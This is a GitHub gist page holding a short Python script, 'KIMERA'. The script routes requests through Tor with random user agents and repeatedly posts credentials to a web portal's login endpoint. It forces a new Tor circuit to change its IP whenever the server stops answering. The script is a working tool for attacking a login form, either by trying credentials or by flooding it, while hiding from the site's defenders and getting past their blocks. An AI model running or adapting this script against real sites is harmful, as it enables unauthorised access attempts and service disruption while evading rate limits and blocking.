Created
September 26, 2019 12:31
-
-
Save iklobato/99275d43283159652704c046d0328347 to your computer and use it in GitHub Desktop.
kimera_begin
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
KIMERA | |
""" | |
import ast | |
import random | |
import requests | |
from stem import Signal | |
from bs4 import BeautifulSoup | |
from stem.control import Controller | |
from itertools import cycle | |
import time | |
RANDOM_MODE = False | |
def get_tor_session(): | |
session = requests.session() | |
session.proxies = {'http': 'socks5://127.0.0.1:9050','https': 'socks5://127.0.0.1:9050'} | |
return session | |
def get_random_header(): | |
headers = {} | |
with open('user-agents.txt') as arq: | |
content_list = arq.readlines() | |
idx = random.randint(0, len(content_list)) | |
headers['User-agent'] = content_list[idx].replace('\n','') | |
return headers | |
def change_ip(): | |
with Controller.from_port(port = 9051) as controller: | |
controller.authenticate(password='henrique') | |
controller.signal(Signal.NEWNYM) | |
print('Ip changed') | |
while True: | |
payload={'user':'user', | |
'password':'asdsad'} | |
INVALID_WORD = 'ACESSO INVALIDO' | |
session = get_tor_session() | |
session.headers.update(get_random_header()) | |
if RANDOM_MODE: | |
MAX_REQUESTS = range(random.randint(200,350)) | |
print('Making', MAX_REQUESTS.stop, 'requests') | |
else: | |
MAX_REQUESTS = cycle([0]) | |
for i in MAX_REQUESTS: | |
page = session.post('http://URL/apps/portal2/login/entrar', data=payload) | |
content = page.text | |
if INVALID_WORD in content: | |
print('Wrong access') | |
if len(content) == 0: | |
print('Getting new IP') | |
break | |
# sleep_time = random.randint(1,4) | |
# time.sleep(sleep_time) | |
change_ip() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment